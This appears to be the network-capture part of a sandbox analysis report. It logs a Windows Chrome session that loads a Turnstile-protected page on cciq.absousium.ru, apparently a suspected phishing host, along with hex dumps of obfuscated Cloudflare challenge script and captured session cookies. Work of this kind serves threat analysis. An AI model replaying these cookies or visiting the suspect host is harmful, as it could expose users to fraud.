2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 67 61 2c 30 29 2c 65 4d 5b 67 4a 28 34 36 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6a 74 2c 65 29 7b 65 3d 28 6a 74 3d 67 4a 2c 7b 27 42 48 64 4e 42 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 67 64 28 63 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 20 67 62 28 65 5b 6a 74 28 31 31 30 37 29 5d 28 67 63 2c 63 29 29 7d 7d 2c 67 65 3d 5b 5d 2c 67 66 3d 30 3b 32 35 36 3e 67 66 3b 67 65 5b 67 66 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 34 35 31 29 5d 28 67 66 29 2c 67 66 2b 2b 29 3b 67 48 3d 28 67 67 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 31 30 34 33 29 29 2c 67 68 3d 61 74 6f 62 28 67 4a 28 36 35 31 29 29 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ):setTimeout(ga,0),eM[gJ(461)]=function(c,jt,e){e=(jt=gJ,{'BHdNB':function(g,h){return g(h)}});try{return gd(c)}catch(g){return gb(e[jt(1107)](gc,c))}},ge=[],gf=0;256>gf;ge[gf]=String[gJ(451)](gf),gf++);gH=(gg=(0,eval)(gJ(1043)),gh=atob(gJ(651)),function(
2025-01-09 03:28:36 UTC	1369	IN	Data Raw: 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 62 51 75 52 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 47 6e 61 65 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 66 43 7a 44 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 74 54 63 4f 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4e 41 52 52 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 77 4f 63 62 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6b 34 28 34 35 31 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f Data Ascii: i){return h==i},'bQuRL':function(h,i){return h*i},'Gnaeo':function(h,i){return h!=i},'fCzDj':function(h,i){return h&i},'tTcOf':function(h,i){return h<i},'NARRS':function(h,i){return h==i},'wOcba':function(h,i){return h+i}},e=String[k4(451)],f={'h':functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49739	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:36 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:36 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:36 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ff156939f9743f8-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:36 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49719	104.21.16.1	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:36 UTC	1321	OUT	GET /favicon.ico HTTP/1.1 Host: cciq.absousium.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cciq.absousium.ru/o5b8DXA/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9qY2pDSjkzTjBkQ0Z5Qi9CaXkvS0E9PSIsInZhbHVlIjoiVjdDdEd6NVNlQS9zRXMvMFZKWkp1QzEwb2dvOFpqTGNreGg1SnhrTExQa1NQaXN3UU1IcDJ5L0hlRkcvNkVnZGhEYmNNZi9pYUJab0R2bHhIcy9kMEhZWXVlWFVWQWRaVXpCN1QzWldZVjIvM2RWay9veUIwMlZ3c0J0RnlURmUiLCJtYWMiOiIwNTg5ZDgwMWJmOGY2ZWRlNzg3YjEyZDYwMGRmMTZmZjNhNmNhYWU5MTAyZGVlZWQwMTZkYzE0MDlhNDA5OGNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNMY28xYk5vSlNSSmQvaHNyNG0yZlE9PSIsInZhbHVlIjoiWEFOVXFiV2VMY1QyR0FCblNCTHYyOHpVM05PSHJLOGVhQUM2b2hwN0tSMm5wM1lHN3FtclNISjhFS2dxVmpsKzk1YkhEMVh5V0JUMFFpTjh2VTVoTm1lb29teDhOOWRHQWRZOGVhZGNUY0d5ekQ5UjZmTXdJRWN6Si8rSC8xbkkiLCJtYWMiOiIyMTYxZDM0ZWE4ZDI2MDQ4MDk0Y2ZkMmU0OTU0NzdiMzhkYTAxMTVlOTM1ZWFkZmZhNDEwZWM5ZWJhODQ1NWQzIiwidGFnIjoiIn0%3D
2025-01-09 03:28:37 UTC	1072	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 03:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUSl67gPE6Oc9N9HEgIsdhZ09UQIgz9D1a8PyNLUD6IF%2F3%2BsryllKu%2F0wi48%2Ftfg4dqeRkv%2FPwkH7Jts%2Fmaxw37N9KCyDtgeN1%2F24bZ97%2FVIGzs4p4eavsp%2FTJlCZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4930&min_rtt=4889&rtt_var=1450&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2234&delivery_rate=557447&cwnd=251&unsent_bytes=0&cid=8e8307f21f99de0d&ts=22&x=0" CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8ff15696286b8ce0-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1821&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1899&delivery_rate=1592148&cwnd=211&unsent_bytes=0&cid=6e1743fc465f2949&ts=4023&x=0"
2025-01-09 03:28:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49741	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:36 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:37 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:37 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ff156979f210ca8-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:37 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49743	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:37 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1568eaca342db&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:37 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117420 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff156995dd7435e-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:37 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 Data Ascii: 20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_footer_privacy":"Privacy","turnstile_verifying":"Verifying...","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 65 58 2c 65 59 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 30 37 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 37 30 36 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 30 32 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 34 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 35 38 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 39 39 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: fY,ga,gg,gh,gi,gs,gD,gH,eX,eY){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1207))/1(parseInt(gI(706))/2)+-parseInt(gI(702))/3+parseInt(gI(1474))/4(-parseInt(gI(958))/5)+parseInt(gI(1347))/6+-parseInt(gI(999))/7+-parseInt(gI(
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 66 71 71 74 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 6e 68 44 53 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 7a 65 53 4e 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4a 49 75 6a 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 54 56 70 79 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 6a 75 64 6a 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 55 71 77 79 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 Data Ascii: unction(h,i){return h<<i},'fqqtp':function(h,i){return h<i},'nhDSN':function(h,i){return h(i)},'zeSNa':function(h,i){return h(i)},'JIujb':function(h,i){return h!=i},'TVpya':function(h,i){return h*i},'judjn':function(h,i){return h(i)},'UqwyB':function(h,i)
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 66 6f 72 28 50 3d 44 5b 67 4f 28 31 30 31 35 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 67 4f 28 34 35 32 29 5d 28 38 2c 78 29 3b 49 3d 64 5b 67 4f 28 31 37 34 39 29 5d 28 49 3c 3c 31 2e 32 33 2c 50 26 31 2e 31 39 29 2c 64 5b 67 4f 28 31 36 37 36 29 5d 28 4a 2c 64 5b 67 4f 28 35 38 37 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 67 4f 28 38 34 31 29 5d 28 64 5b 67 4f 28 34 39 38 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 67 4f 28 31 31 37 36 29 5d 28 49 3c 3c 31 2c 50 29 2c 64 5b 67 4f 28 31 36 37 36 29 5d 28 4a 2c 64 5b 67 4f 28 35 38 37 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 67 4f 28 38 34 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 Data Ascii: for(P=D[gO(1015)](0),x=0;d[gO(452)](8,x);I=d[gO(1749)](I<<1.23,P&1.19),d[gO(1676)](J,d[gO(587)](j,1))?(J=0,H[gO(841)](d[gO(498)](o,I)),I=0):J++,P>>=1,x++);}else{for(P=1,x=0;x<G;I=d[gO(1176)](I<<1,P),d[gO(1676)](J,d[gO(587)](j,1))?(J=0,H[gO(841)](o(I)),I=0
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 65 6c 73 65 20 66 6f 72 28 50 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 67 4f 28 31 37 34 39 29 5d 28 64 5b 67 4f 28 31 36 35 32 29 5d 28 49 2c 31 29 2c 64 5b 67 4f 28 31 30 38 38 29 5d 28 50 2c 31 29 29 2c 4a 3d 3d 64 5b 67 4f 28 36 37 33 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 67 4f 28 38 34 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 45 2d 2d 2c 30 3d 3d 45 26 26 47 2b 2b 7d 65 6c 73 65 7b 69 66 28 64 5b 67 4f 28 31 32 31 30 29 5d 28 32 35 36 2c 61 6e 5b 67 4f 28 31 30 31 35 29 5d 28 30 29 29 29 7b 66 6f 72 28 62 70 3d 30 3b 64 5b 67 4f 28 33 39 34 29 5d 28 62 71 2c 62 72 29 3b 62 74 3c 3c 3d 31 2c 64 5b 67 4f 28 31 36 37 36 29 5d 28 62 75 2c 64 5b 67 4f 28 35 38 37 29 5d 28 62 76 2c 31 29 Data Ascii: else for(P=B[D],x=0;x<G;I=d[gO(1749)](d[gO(1652)](I,1),d[gO(1088)](P,1)),J==d[gO(673)](j,1)?(J=0,H[gO(841)](o(I)),I=0):J++,P>>=1,x++);E--,0==E&&G++}else{if(d[gO(1210)](256,an[gO(1015)](0))){for(bp=0;d[gO(394)](bq,br);bt<<=1,d[gO(1676)](bu,d[gO(587)](bv,1)
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 2c 47 3d 6f 28 49 2b 2b 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 4e 3d 64 5b 67 52 28 31 30 38 38 29 5d 28 47 2c 48 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 46 3c 3c 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 4a 7c 3d 64 5b 67 52 28 33 39 39 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 52 28 39 32 33 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 52 28 31 35 37 39 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 67 52 28 37 32 32 29 5d 28 30 2c 4e 29 3f 31 3a 30 29 2a 46 2c 46 Data Ascii: ,G=o(I++));continue;case'2':N=d[gR(1088)](G,H);continue;case'3':F<<=1;continue;case'4':J\|=d[gR(399)](0<N?1:0,F);continue}break}switch(J){case 0:for(J=0,K=Math[gR(923)](2,8),F=1;F!=K;N=G&H,H>>=1,0==H&&(H=j,G=d[gR(1579)](o,I++)),J\|=(d[gR(722)](0,N)?1:0)*F,F
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 28 31 30 38 36 29 5d 3d 27 7a 27 2c 65 50 5b 67 4a 28 39 39 37 29 5d 3d 27 6e 27 2c 65 50 5b 67 4a 28 34 31 32 29 5d 3d 27 49 27 2c 65 50 5b 67 4a 28 31 30 33 34 29 5d 3d 27 62 27 2c 65 51 3d 65 50 2c 65 4d 5b 67 4a 28 34 30 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 67 57 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 67 57 3d 67 4a 2c 6f 3d 7b 27 76 52 76 71 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 27 44 58 42 66 49 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 3d 3d 3d 47 7d 2c 27 63 4b 59 6f 63 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 27 79 4e 52 69 56 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 Data Ascii: (1086)]='z',eP[gJ(997)]='n',eP[gJ(412)]='I',eP[gJ(1034)]='b',eQ=eP,eM[gJ(409)]=function(g,h,i,j,gW,o,x,B,C,D,E,F){if(gW=gJ,o={'vRvqK':function(G,H){return G<H},'DXBfI':function(G,H){return H===G},'cKYoc':function(G,H){return G<H},'yNRiV':function(G,H){ret
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 6d 5d 2c 6e 3d 3d 3d 27 66 27 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 67 59 28 36 32 36 29 5d 28 6f 2c 69 5b 6c 5b 6d 5d 5d 5b 67 59 28 38 36 39 29 5d 29 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 67 59 28 31 32 38 35 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 65 56 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 67 59 28 38 34 31 29 5d 28 6b 5b 67 59 28 31 37 35 37 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 67 59 28 31 37 30 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 73 7d 29 7d 2c 65 57 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 5a 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 Data Ascii: m],n==='f'&&(n='N'),h[n]){for(o=0;k[gY(626)](o,i[l[m]][gY(869)]);-1===h[n][gY(1285)](i[l[m]][o])&&(eV(i[l[m]][o])\|\|h[n][gY(841)](k[gY(1757)]('o.',i[l[m]][o]))),o++);}else h[n]=i[l[m]][gY(1709)](function(s){return'o.'+s})},eW=function(f,gZ,g,h,i,j,k,l,m){f
2025-01-09 03:28:37 UTC	1369	IN	Data Raw: 28 65 29 29 7d 7d 2c 65 4d 5b 67 4a 28 35 33 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 6a 2c 64 2c 65 2c 66 2c 67 29 7b 69 6a 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 69 6a 28 31 36 37 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 69 6a 28 31 33 36 30 29 5d 5b 69 6a 28 31 32 33 31 29 5d 28 65 5b 69 6a 28 31 36 37 32 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 69 6a 28 31 35 31 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 6b 29 7b 69 6b 3d 69 6a 2c 65 4d 5b 69 6b 28 37 31 35 29 5d 26 26 28 65 4d 5b 69 6b 28 37 37 31 29 5d 5b 69 6b 28 38 38 31 29 5d 28 29 2c 65 4d 5b 69 6b 28 37 37 31 29 5d 5b 69 6b 28 31 32 36 36 29 5d 28 29 2c 65 4d 5b 69 6b 28 31 37 35 38 29 5d 3d 21 Data Ascii: (e))}},eM[gJ(538)]=function(ij,d,e,f,g){ij=gJ,d={},d[ij(1672)]=function(h,i){return h<<i},e=d,f=1,g=1e3*eM[ij(1360)][ij(1231)](e[ij(1672)](2,f),32),eM[ij(1515)](function(ik){ik=ij,eM[ik(715)]&&(eM[ik(771)][ik(881)](),eM[ik(771)][ik(1266)](),eM[ik(1758)]=!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49744	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:37 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3158 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
